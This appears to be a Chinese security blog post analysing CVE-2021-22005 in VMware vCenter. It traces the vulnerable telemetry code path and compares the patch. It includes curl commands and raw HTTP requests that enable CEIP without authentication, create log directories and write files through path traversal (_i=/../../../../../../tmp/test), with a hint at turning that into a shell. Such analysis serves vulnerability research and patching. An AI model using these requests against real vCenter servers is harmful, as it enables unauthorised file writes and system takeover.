2021-09-21补丁修复了如下一系列漏洞,其中CVE-2021-22005评分最高,可getshell,网上也有该漏洞的poc,所以接下来也对该漏洞做进一步分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | CVE-2021-22005 vCenter Server 任意文件上传(CVSSv3评分9.8) CVE-2021-21991:vCenter Server 本地提权漏洞(CVSSv3评分8.8) CVE-2021-22006:vCenter Server 反向代理绕过漏洞(CVSSv3评分8.3) CVE-2021-22011:vCenter Server未经身份验证的 API 端点漏洞(CVSSv3评分8.1) CVE-2021-22015:vCenter Server 本地提权漏洞(CVSSv3评分7.8) CVE-2021-22012:vCenter Server 未经身份验证的 API 信息泄露漏洞(CVSSv3评分7.5) CVE-2021-22013:vCenter Server 路径遍历漏洞(CVSSv3评分7.5) CVE-2021-22016:vCenter Server 反射型 XSS 漏洞(CVSSv3评分7.5) CVE-2021-22017:vCenter Server rhttpproxy 绕过漏洞(CVSSv3评分7.3) CVE-2021-22014:vCenter Server 身份验证代码执行漏洞(CVSSv3评分7.2) CVE-2021-22018:vCenter Server 文件删除漏洞(CVSSv3评分6.5) CVE-2021-21992:vCenter Server XML 解析拒绝服务漏洞(CVSSv3评分6.5) CVE-2021-22007:vCenter Server 本地信息泄露漏洞(CVSSv3评分5.5) CVE-2021-22019:vCenter Server 拒绝服务漏洞(CVSSv3评分5.3) CVE-2021-22009:vCenter Server VAPI 拒绝服务漏洞(CVSSv3评分5.3) CVE-2021-22010:vCenter Server VPXD 拒绝服务漏洞(CVSSv3评分5.3) CVE-2021-22008:vCenter Server 信息泄露漏洞(CVSSv3评分5.3) CVE-2021-22020:vCenter Server Analytics 服务拒绝服务漏洞(CVSSv3评分5.0) CVE-2021-21993:vCenter Server SSRF 漏洞(CVSSv3评分4.3) |
参考
任意文件上传
https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/
https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee
https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw
https://mp.weixin.qq.com/s/Jwp4GWKRO4H_AopqJSrBWw
官方提供的测试脚本,算是一个漏洞扫描+临时补丁
https://kb.vmware.com/sfc/servlet.shepherd/version/download/0685G00000YTpbRQAT
根据提示漏洞接口应该如下
1 2 3 4 5 6 | rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test", headers={"Content-Type": "application/json"}, data="lorem ipsum") /analytics/ph/api/dataapp/agent?_c=test&_i=1 /analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1 /analytics/telemetry/ph/api/hyper/send /analytics/ph/api/dataapp/agent |
vmware公开的poc
1 2 3 4 5 6 7 8 9 10 11 12 | curl -X POST "https://localhost/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" # 实际接口 curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" # CEIP是否开启 curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=test" # 请求 curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/stuff" -H "Content-Type: application/json" -d "" # 创建一个json文件 /var/log/vmware/analytics/prod/_c_i/stuff.json # 目录遍历 curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H "Content-Type: application/json" -d "contents here will be directly written to /tmp/foo.json as root" curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP |
影响范围
1 2 3 4 5 | vCenter Server 7.0 < 7.0 U2c vCenter Server 6.7 < 6.7 U3o Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3) Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2) 6.7 Windows 不受影响 |
漏洞分析
TelemetryLevelBasedTelemetryServiceWrapper请求入口
根据poc提示接口/analytics/telemetry/ph/api/hyper/send,找到对应的类
1 | analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class |
这个类是springboot的controller,找到漏洞URI,可以看到提交的两个参数_c
和_i
对应的是collectorId和collectorInstanceId
继续跟踪到TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry
TelemetryLevelBasedTelemetryServiceWrapper
是在AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable
类里调用,这个类是Runnable实现类,用于多线程调用,所以通过该类的run方法进一步跟踪到processTelemetry
的。
生成一个Telemetrylevel对象,TelemetryLevel是一个枚举类型,这里会判断TelemetryLevel.OFF
是否不等,继续看一下OFF是怎么设置的
1 2 3 4 5 6 7 | public enum TelemetryLevel { OFF, BASIC, FULL; private TelemetryLevel() { } } |
调用堆栈
1 2 3 4 5 6 7 | processTelemetry:44, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry) run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl) call:511, Executors$RunnableAdapter (java.util.concurrent) run:266, FutureTask (java.util.concurrent) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) |
ceip
getTelemetryLevel
1 2 3 4 5 6 7 8 | getTelemetryLevel:56, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry) processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry) run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl) call:511, Executors$RunnableAdapter (java.util.concurrent) run:266, FutureTask (java.util.concurrent) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)、 |
this._telemetryLevelService.getTelemetryLevel
定位到如下,可以看到这里会判断ceip(Customer Experience Improvement Program)是否开启
DefaultTelemetryLevelService
其实ceip是客户体验提升计划,不一定开启。点击加入开启后,其实对提交的_C
是有要求的
如下_C
为111返回还是off,所以参数有要求的
查看漏洞利用目录/var/log/vmware/analytics/prod
下有一个json文件
其实是如此拼接成的,所以
1 | _c + vSphere.vapi.6_7 + _i + 9D36C850-1612-4EC4-B8DD-50BA239A25BB.json |
再次测试可发现返回FULL了
或者通过该接口请求测试是否正常,这个请求会生成ceip缓存,后续请求就不会再发送ceip到vmware了。
1 | curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7" |
这里再继续分析下getTelemetryLevel,他会先判断ceip是否开启,如果没开启,则直接返回OFF
,如果为true,则进行判断。
这里有个变量this._collectorToTelemetryLevelCache
来存储collectorAgent对象(基于_c
和_i
生成),如果缓存里有了,就不会再次发遥测请求,_collectorToTelemetryLevelCache在这里是SimpleTimeBasedCacheImpl类,内部实际存储collectorAgent是用的hashmap。
这里通过get获取key(即collectorAgent),所以看看hashCode怎么实现的。
其实可以看到和_collectorId
和_collectorInstanceId
都相关。
1 2 3 4 5 6 7 | public int hashCode() { int hash = this._collectorId.hashCode(); if (this._collectorInstanceId != null) { hash = hash * 31 + this._collectorInstanceId.hashCode(); } return hash; } |
做个测试,_c
和_i
,如下就是不同缓存
1 2 3 4 | CollectorAgent c1 = new CollectorAgent("vSphere.vapi.6_7", "c1"); CollectorAgent c2 = new CollectorAgent("vSphere.vapi.6_7", "c2"); this._collectorToTelemetryLevelCache.put(c1, telemetryLevel); this._collectorToTelemetryLevelCache.get(c2); |
getTelemetryLevelFromManifest
1 2 3 4 5 6 7 8 9 | getTelemetryLevelFromManifest:82, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry) getTelemetryLevel:69, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry) processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry) run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl) call:511, Executors$RunnableAdapter (java.util.concurrent) run:266, FutureTask (java.util.concurrent) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) |
那么再看看DefaultTelemetryLevelService#getTelemetryLevelFromManifest怎么发送遥测请求的,代码如下
manifestContentProvider.getManifestContent请求返回有以下几种情况
- collectorId和collectorInstanceId随机,抛出异常,INVALID_COLLECTOR_ERROR,这里提示collectors ID不在白名单内
- collectorId为vSphere.vapi.6_7,抛出异常,GENERAL_ERROR,404
- 再第一次请求后,如果修改参数
_i
(collectorInstanceId),后续二次请求都会报这个错
上面请求最终跟踪到如下位置com.vmware.ph.upload.rest.PhRestClientImpl#getManifest,GET请求
手动发送,和之前获取的确实一样。
有效请求
PS: 这里在处理返回数据,会调用json进行反序列化,转换成com.vmware.ph.model.exceptions.ServiceException
DefaultTelemetryLevelService#getTelemetryLevelFromManifest
,我们看下抛出异常后再次调用getTelemetryLevelForFailedManifestRetrieval
,如果异常是INVALID_COLLECTOR_ERROR
,那么直接返回OFF,如果不是就返回FULL,defaultTelemetryLevel初始化的时候为FULL。
所以如果首次请求的collectorId不对,那么即时开了ceip也是无法利用成功,但第二次还是可以成功,所以网上一些分析文章collectorId随机也是可以用的,但如果之前没有发送过遥测请求,就会利用失败,所以建议collectorId还是设置一个有效的。
开启ceip
经过测试,开启CEIP的接口无认证要求,可未授权访问
1 | curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json" |
PS: 但上面这个测试如果系统启动后没有登录过,请求不会成功
调试发现,虽然接口请求不需要认证,但修改操作仍然需要session,只有在有人登录过,这个未授权请求才能生效。
该请求对应的类在./plugin-packages/telemetry/plugins/h5-ceip.war
com.vmware.vsphere.client.h5.ceip.controller.CeipController
还有其他两个接口
1 2 | GET /ui/ceip-ui/ctrl/ceip/status GET /ui/ceip-ui/ctrl/ceip/isAuthorized" |
LogTelemetryService
所以看来CEIP没有比较好的方案开启了。
1 2 3 4 5 6 7 8 | processTelemetry:56, LogTelemetryService (com.vmware.ph.phservice.push.telemetry) processTelemetry:45, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry) run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl) call:511, Executors$RunnableAdapter (java.util.concurrent) run:266, FutureTask (java.util.concurrent) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) |
当ceip开启,继续跟踪到com/vmware/ph/phservice/push/telemetry/LogTelemetryService#processTelemetry
,
日志目录是/var/log/vmware/analytics/prod
日志文件名则是,可以看到
1 | _c%1$s_i%2$s |
继续往下就是日志记录,this._logger
可以看到日志路径,而serializeToLogMessage(telemetryRequest)
就是POST请求的body数据
那么当请求参数_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/foo
则拼接为/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json
但如果_cvSphere.vapi.6_7_i不存在,则会目录遍历失败,这个是linux的问题,所以必须先请求一次_c=vSphere.vapi.6_7&_i=/temp
,log4j会创建目录,然后再请求上面URL,实现目录遍历。
PS: prod目录默认也是没有的,vcenter自身正常会创建这个prod目录,但ceip没开启之前,是没有的,所以建议也请求下正常的参数。
创建prod目录
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 3 {} |
创建_cvSphere.vapi.6_7_i目录
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 3 {} |
由于后缀只能是json,所以无法直接写文件,那么可以写到一个可执行文件内容的路径,这个大家就自行发挥想象力找找linux上可执行的方法了。
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 4 test |
整理思路
- AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口,接收
_c
和_i
参数 - 调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求,,成功后进一步处理
_c
和_i
- processTelemetry里调用
this._telemetryLevelService.getTelemetryLevel
来判断ceip遥测请求是否正常,这里也会传入_c
和_i
,如果开启成功可获取一个FULL值,除了需要开启ceip,还会对vmware的一个API接口发送请求,,需要注意的一点,如果之前没发起遥测请求,则对_c参数有要求,必须是一个合法的值,如果已经请求过,后续因为有缓存,不会再请求,则可成功通过校验。 - 如果ceip未开启,可通过/ui/ceip-ui/ctrl/ceip/status/true开启,但vcenter之前需要有人已经登录过一次,否则会出现接口未认证的报错。
- ceip请求成功后,processTelemetry接着调用LogTelemetryService#processTelemetry来解析
_c
和_i
,log4j通过_c$s_i$s
格式拼接日志路径,_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件,当_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test
最终路径拼接如/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json
,这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。验证
返回201表示漏洞存在
123456789POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1Host: 192.168.111.11User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Content-Length: 11Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closelorem ipsum利用
第一步判断ceip
1234# 修改ceipcurl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"# 判断ceip是否启动curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
/var/log/vmware/analytics/prod创建 prod
和_cvSphere.vapi.6_7_i
_i参数每次都要修改,因为文件如果被删除,就不会再次被创建了
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=temp HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 3 {} |
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 3 {} |
写任意路径文件
1 2 3 4 5 6 7 8 9 10 11 12 | POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1 Host: 192.168.111.11 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Deployment-Secret: abc Content-Length: 4 test |
补丁分析
补丁包
VMware-analytics-6.7.0-18408195.x86_64.rpm,解压出来就是各种jar包和其他一些配置文件,对比jar包,定位到如下
对比补丁,补丁在AsyncTelemetryController#handleSendRequest里新增了一个条件判断
判断语句
1 | (IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) && AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) |
IdFormatUtil.class在analytics-6.7.0.jar里
collectorInstanceId正则过滤[\\w-]{1,64}
=[A-Za-z0-9_-]{1,64}
,如9D36C850-1612-4EC4-B8DD-50BA239A25BB,没法使用.和/,所以这个绕不过了
collectorId [a-zA-Z][\w-\.]{1,40}[a-zA-Z0-9]
, 如vSphere.vapi.6_7,也没法使用/,但没调用。
collectorId是用一个白名单,需要调试才能最终确定白名单内容,但根据上面的正则也能大致猜测,这里的白名单估计和之前ceip 遥测请求的API接口是一样的。
this._collectorIdWhitelist为在控制器初始化的传入
另外除了公开的漏洞利用点之外,AsyncTelemetryController还有两个私有类也有patch,都是Callable的实现类(即多线程),这里会检查collectorId
另一个和之前漏洞点判断是一样的。
那么是否可以找到其他没做过滤的telemetryService.processTelemetry调用点,在这之前其实还需要检查下processTelemetry内部是否还有patch。
这里调用的实现类是TelemetryLevelBasedTelemetryServiceWrapper,另一个相关的是LogTelemetryService
TelemetryLevelBasedTelemetryServiceWrapper在analytics-6.7.0.jar里,但对比了补丁,没发现直接的改动。
但有其他几处DataAppAgentId做了相同的过滤,这就涉及到另一个漏洞点了。
LogTelemetryService在同个包里,也没做修改。